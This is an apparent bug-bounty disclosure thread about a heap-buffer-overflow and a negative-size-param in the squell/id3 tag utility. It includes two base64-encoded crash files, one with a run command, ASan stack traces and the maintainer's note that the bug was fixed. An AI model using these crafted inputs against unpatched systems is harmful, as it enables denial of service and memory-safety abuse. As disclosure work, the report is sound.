Heap-based Buffer Overflow in squell/id3

Valid

Reported on

Jul 9th 2021

✍️ Description

Hello! We compiled id3 from commit 857ac8 with Clang-13 + ASan, and we discovered a crafted file which triggers a negative-size-param and a heap-buffer-overflow with a READ of size 40987248. But for the purposes of this report, we are going to look at the heap-buffer-overflow, as it appears that fixing that will fix the other.

🕵️‍♂️ Proof of Concept

echo "SUQzBJ2fAAACc1RYRDMAAAEAAGrAITYSI41zmoiC02tv7RRWWFqGtjk5OTk5OTnGOTk5OTk5OTk5
OTk5OTo5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTlyI0z8CZfqvv+0
+9anNuugGOOyrrUEu5n9AmnBQYFB9IYssycIlxPF1OZu2U/zR28uPvQV591xEcrwRG01MDg0AE82
hW0AAAAAAAAAAAv1AAAAAAAAAAAAAADaAAAAf9ra2tra2tra2tra2tra2tra2tra2tra2tra2tra
2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra2toAAACB2tra2tra2tra2tra2tra2tra
2tra2traAAAAAAAAAAAAAAAAAAAAANfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX
19fX19fX19fX19fX19fX19fX19fX19fcQiWAvgFRQgMMSUQzrZ6f6SxrH0t5EMEm3RrTQI+Pj4+P
j4+P8itLpTR3L2HLSZGxo90IWZS3vKUet/Xlk5a75sXFxcXFxcXFN6X5smIUQupnxJkwe7gSjBQK
AXdWMxawlmcqR1e20wF74ADPRLuoCkzIaYZF+8TrAHx8fAAAAAAAAAAAAC0xMTU3AAABAAAAAAAA
AAAAAAAAAAAA" | base64 -d > /tmp/fuzz.file && ./id3 -u -E /tmp/fuzz.file

This POC produces the following ASan stack trace:

==638674==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6130000001b8 at pc 0x00000043adfd bp 0x7ffc1f765280 sp 0x7ffc1f764a40
READ of size 40987248 at 0x6130000001b8 thread T0
    #0 0x43adfc in __interceptor_memmove (/root/id3/id3+0x43adfc)
    #1 0x53eae2 in unsync_frames_v2_4 /root/id3/id3v2.c:187:27
    #2 0x53d904 in ID3_readf /root/id3/id3v2.c:244:16
    #3 0x5371c1 in tag::read::ID3v2::ID3v2(char const*) /root/id3/getid3v2.cpp:31:36
    #4 0x52911d in tag::write::ID3v2::read(char const*) const /root/id3/setid3v2.cpp:281:16
    #5 0x4dd7bb in tag::combined<tag::reader>::read(char const*) const /root/id3/./setgroup.h:95:52
    #6 0x4dbd52 in op::tag_info::read(char const*) const /root/id3/main.cpp:274:60
    #7 0x50b7e9 in fileexp::(anonymous namespace)::substvars::substvars(char const*, fileexp::record const&, tag::reader const&, unsigned long&) /root/id3/mass_tag.cpp:69:25
    #8 0x50b514 in fileexp::mass_tag::file(char const*, fileexp::record const&) /root/id3/mass_tag.cpp:166:15
    #9 0x4e35a0 in verbose::file(char const*, fileexp::record const&) /root/id3/main.cpp:217:24
    #10 0x4fba6e in fileexp::filefind::nested(auto_dir, char*, char*) /root/id3/fileexp.cpp:155:52
    #11 0x4f9ee8 in fileexp::find::glob(char const*, bool) /root/id3/fileexp.cpp:63:14
    #12 0x4d4845 in process_(fileexp::find&, char**, bool) /root/id3/main.cpp:339:19
    #13 0x4d88f0 in main_(int, char**) /root/id3/main.cpp:585:24
    #14 0x4db38a in main /root/id3/main.cpp:631:16
    #15 0x7ff15dc580b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #16 0x421fdd in _start (/root/id3/id3+0x421fdd)

0x6130000001b8 is located 0 bytes to the right of 376-byte region [0x613000000040,0x6130000001b8)
allocated by thread T0 here:
    #0 0x49f7ed in malloc (/root/id3/id3+0x49f7ed)
    #1 0x53d200 in ID3_readf /root/id3/id3v2.c:219:11
    #2 0x5371c1 in tag::read::ID3v2::ID3v2(char const*) /root/id3/getid3v2.cpp:31:36
    #3 0x52911d in tag::write::ID3v2::read(char const*) const /root/id3/setid3v2.cpp:281:16
    #4 0x4dd7bb in tag::combined<tag::reader>::read(char const*) const /root/id3/./setgroup.h:95:52
    #5 0x4dbd52 in op::tag_info::read(char const*) const /root/id3/main.cpp:274:60
    #6 0x50b7e9 in fileexp::(anonymous namespace)::substvars::substvars(char const*, fileexp::record const&, tag::reader const&, unsigned long&) /root/id3/mass_tag.cpp:69:25
    #7 0x50b514 in fileexp::mass_tag::file(char const*, fileexp::record const&) /root/id3/mass_tag.cpp:166:15
    #8 0x4e35a0 in verbose::file(char const*, fileexp::record const&) /root/id3/main.cpp:217:24
    #9 0x4fba6e in fileexp::filefind::nested(auto_dir, char*, char*) /root/id3/fileexp.cpp:155:52
    #10 0x4f9ee8 in fileexp::find::glob(char const*, bool) /root/id3/fileexp.cpp:63:14
    #11 0x4d4845 in process_(fileexp::find&, char**, bool) /root/id3/main.cpp:339:19
    #12 0x4d88f0 in main_(int, char**) /root/id3/main.cpp:585:24
    #13 0x4db38a in main /root/id3/main.cpp:631:16
    #14 0x7ff15dc580b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow (/root/id3/id3+0x43adfc) in __interceptor_memmove

💥 Impact

This vulnerability is capable of at the very least crashing the software along with the other unintended side effects of reading 40987248 bytes beyond the buffer. If this software was available over the network or the web, the CVSS would likely increase to 9.4.

Occurrences

We have contacted a member of the squell/id3 team and are waiting to hear back 2 years ago
geeknik
2 years ago

Researcher

Here is the PoC for the negative-size-param in base64:

SUQzBJ2fAAACc1RYRDMAAAAAAGrAITYSI41zmoiC02tv7RRWWFn2HTk5OTk5OTk5OTk5OTk5OTk5
OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5ciNM/AmX6r7/tPvWpzbr
oBjjsq61BLuZ/QJpwUGCQfSGLLMnCJcTxdTmbtlP80dvLj70FefdcRHK8ERtNTA4NABPNoVtAAAA
AAAAAAAAAAAAAAAAAAAAAAAA2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra2tra
2tra2tra2tra2tra2tra2tra2tra2tra2toAAACB2tra2tra2tra2tra2tra2tra2tra2traAAAA
AAAAAAAAAAAAAAAAANfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX
19fX19fX19fX19fX19fcQiWAvgFRQgMMSUQzrZ6f6SxrH0t5EMEm3RrTQI/yK0ulNHcvYctJkbGj
3QhZlLe8pR639eWTlrvmxTel+bJiFELqZ8SZMHu4EowUCgF3VjMWsJZnKkdXttMBe+AAz0S7qApM
yGmGRfvE6wB8fHx8fHx8fHx8fHx8fHx8AAAAAAAAAAAALTkyMDcAAAEAAAAAAAAAAAAAAAAAAAA=

and stack trace:

==694048==ERROR: AddressSanitizer: negative-size-param: (size=-10)
    #0 0x43ab3a in memset (/root/id3/id3+0x43ab3a)
    #1 0x53eb24 in unsync_frames_v2_4 /root/id3/id3v2.c:191:5
    #2 0x53d904 in ID3_readf /root/id3/id3v2.c:244:16
    #3 0x5371c1 in tag::read::ID3v2::ID3v2(char const*) /root/id3/getid3v2.cpp:31:36
    #4 0x52911d in tag::write::ID3v2::read(char const*) const /root/id3/setid3v2.cpp:281:16
    #5 0x4dd7bb in tag::combined<tag::reader>::read(char const*) const /root/id3/./setgroup.h:95:52
    #6 0x4dbd52 in op::tag_info::read(char const*) const /root/id3/main.cpp:274:60
    #7 0x50b7e9 in fileexp::(anonymous namespace)::substvars::substvars(char const*, fileexp::record const&, tag::reader const&, unsigned long&) /root/id3/mass_tag.cpp:69:25
    #8 0x50b514 in fileexp::mass_tag::file(char const*, fileexp::record const&) /root/id3/mass_tag.cpp:166:15
    #9 0x4e35a0 in verbose::file(char const*, fileexp::record const&) /root/id3/main.cpp:217:24
    #10 0x4fba6e in fileexp::filefind::nested(auto_dir, char*, char*) /root/id3/fileexp.cpp:155:52
    #11 0x4f9ee8 in fileexp::find::glob(char const*, bool) /root/id3/fileexp.cpp:63:14
    #12 0x4d4845 in process_(fileexp::find&, char**, bool) /root/id3/main.cpp:339:19
    #13 0x4d88f0 in main_(int, char**) /root/id3/main.cpp:585:24
    #14 0x4db38a in main /root/id3/main.cpp:631:16
    #15 0x7f7bfc99b0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #16 0x421fdd in _start (/root/id3/id3+0x421fdd)

0x613000000055 is located 21 bytes inside of 376-byte region [0x613000000040,0x6130000001b8)
allocated by thread T0 here:
    #0 0x49f7ed in malloc (/root/id3/id3+0x49f7ed)
    #1 0x53d200 in ID3_readf /root/id3/id3v2.c:219:11
    #2 0x5371c1 in tag::read::ID3v2::ID3v2(char const*) /root/id3/getid3v2.cpp:31:36
    #3 0x52911d in tag::write::ID3v2::read(char const*) const /root/id3/setid3v2.cpp:281:16
    #4 0x4dd7bb in tag::combined<tag::reader>::read(char const*) const /root/id3/./setgroup.h:95:52
    #5 0x4dbd52 in op::tag_info::read(char const*) const /root/id3/main.cpp:274:60
    #6 0x50b7e9 in fileexp::(anonymous namespace)::substvars::substvars(char const*, fileexp::record const&, tag::reader const&, unsigned long&) /root/id3/mass_tag.cpp:69:25
    #7 0x50b514 in fileexp::mass_tag::file(char const*, fileexp::record const&) /root/id3/mass_tag.cpp:166:15
    #8 0x4e35a0 in verbose::file(char const*, fileexp::record const&) /root/id3/main.cpp:217:24
    #9 0x4fba6e in fileexp::filefind::nested(auto_dir, char*, char*) /root/id3/fileexp.cpp:155:52
    #10 0x4f9ee8 in fileexp::find::glob(char const*, bool) /root/id3/fileexp.cpp:63:14
    #11 0x4d4845 in process_(fileexp::find&, char**, bool) /root/id3/main.cpp:339:19
    #12 0x4d88f0 in main_(int, char**) /root/id3/main.cpp:585:24
    #13 0x4db38a in main /root/id3/main.cpp:631:16
    #14 0x7f7bfc99b0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: negative-size-param (/root/id3/id3+0x43ab3a) in memset
Marc R. Schoolderman validated this vulnerability 2 years ago
geeknik has been awarded the disclosure bounty
The fix bounty is now up for grabs
Marc
2 years ago

Maintainer

Hello again! FYI, your merciless quest to break this code resulted in a $20.12 donation to archive, which I'm sure will be put to good use. A couple of weeks ago I was prodding this section of the code as well in some spare time, quite interested to see what the fuzzer found that I overlooked.

geeknik
2 years ago

Researcher

That is great, I matched your donation. \m/

Marc
2 years ago

Maintainer

So this was actually introduced in commit ab5eb3a1 less than 2 weeks ago, which tried to be more defensive around tags that deliberately break the "unsynchronization" rules (even though I couldn't find a way to cause any issues that way)--but which introduced a stupid mistake. So earlier commits don't fall to this POC.

So next time I'm not going to fix things before they are actually broken. ;-)

Marc R. Schoolderman marked this as fixed with commit 863d42 2 years ago
Marc R. Schoolderman has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation